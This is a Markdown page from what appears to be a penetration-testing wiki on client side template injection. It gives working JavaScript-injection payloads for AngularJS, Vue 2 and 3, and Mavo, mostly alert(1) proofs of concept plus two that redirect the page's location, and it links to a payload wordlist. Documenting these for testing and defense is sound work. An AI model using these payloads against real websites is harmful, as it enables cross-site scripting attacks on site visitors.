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82 lines
4 KiB
Markdown
82 lines
4 KiB
Markdown
# Client Side Template Injection \(CSTI\)
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## Summary
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It is like a [**Server Side Template Injection**](ssti-server-side-template-injection/) but in the **client**. The **SSTI** can allow you the **execute code** on the remote server, the **CSTI** could allow you to **execute arbitrary JavaScript** code in the victim.
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The way to **test** for this vulnerability is very **similar** as in the case of **SSTI**, the interpreter is going to expect something to execute **between doubles keys** and will execute it. For example using something like: `{{ 7-7 }}` if the server is **vulnerable** you will see a `0` and if not you will see the original: `{{ 7-7 }}`
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### AngularJS
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AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the **`ng-app`** attribute \(also known as an AngularJS directive\). When a directive is added to the HTML code, **you can execute JavaScript expressions within double curly braces**.
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For example, if your **input** is being **reflected** inside the **body** of the HTML and the body is defined with `ng-app`: **`<body ng-app>`**
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You can **execute arbitrary JavaScript** code using curly braces **adding** to the **body**:
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```javascript
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{{$on.constructor('alert(1)')()}}
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{{constructor.constructor('alert(1)')()}}
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<input ng-focus=$event.view.alert('XSS')>
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<!-- Google Research - AngularJS -->
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<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
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```
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You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/)
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{% hint style="danger" %}
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\*\*\*\*[**Angular 1.6 removed the sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html#:~:text=The%20Angular%20expression%20sandbox%20will,smaller%20and%20easier%20to%20maintain.&text=Removing%20the%20expression%20sandbox%20does,surface%20of%20Angular%201%20applications.) so from this version a payload like `{{constructor.constructor('alert(1)')()}}` or `<input ng-focus=$event.view.alert('XSS')>` should work.
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{% endhint %}
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### VueJS
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You can find a **vulnerable vue.js** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh/)
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Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor%28%27alert%28%22foo%22%29%27%29%28%29%7D%7D)
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And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
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```markup
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<!-- Google Research - Vue.js-->
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"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
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```
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### **V3**
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```text
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{{_openBlock.constructor('alert(1)')()}}
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```
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Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V2**
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```text
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{{constructor.constructor('alert(1)')()}}
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```
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Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
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### Mavo
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Payload:
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```text
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[7*7]
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[(1,alert)(1)]
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<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
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[self.alert(1)]
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javascript:alert(1)%252f%252f..%252fcss-images
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[Omglol mod 1 mod self.alert (1) andlol]
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[''=''or self.alert(lol)]
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<a data-mv-if='1 or self.alert(1)'>test</a>
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<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
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<a href=[javascript&':alert(1)']>test</a>
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[self.alert(1)mod1]
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```
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**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)\*\*\*\*
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## **Brute-Force Detection List**
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{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/ssti.txt" %}
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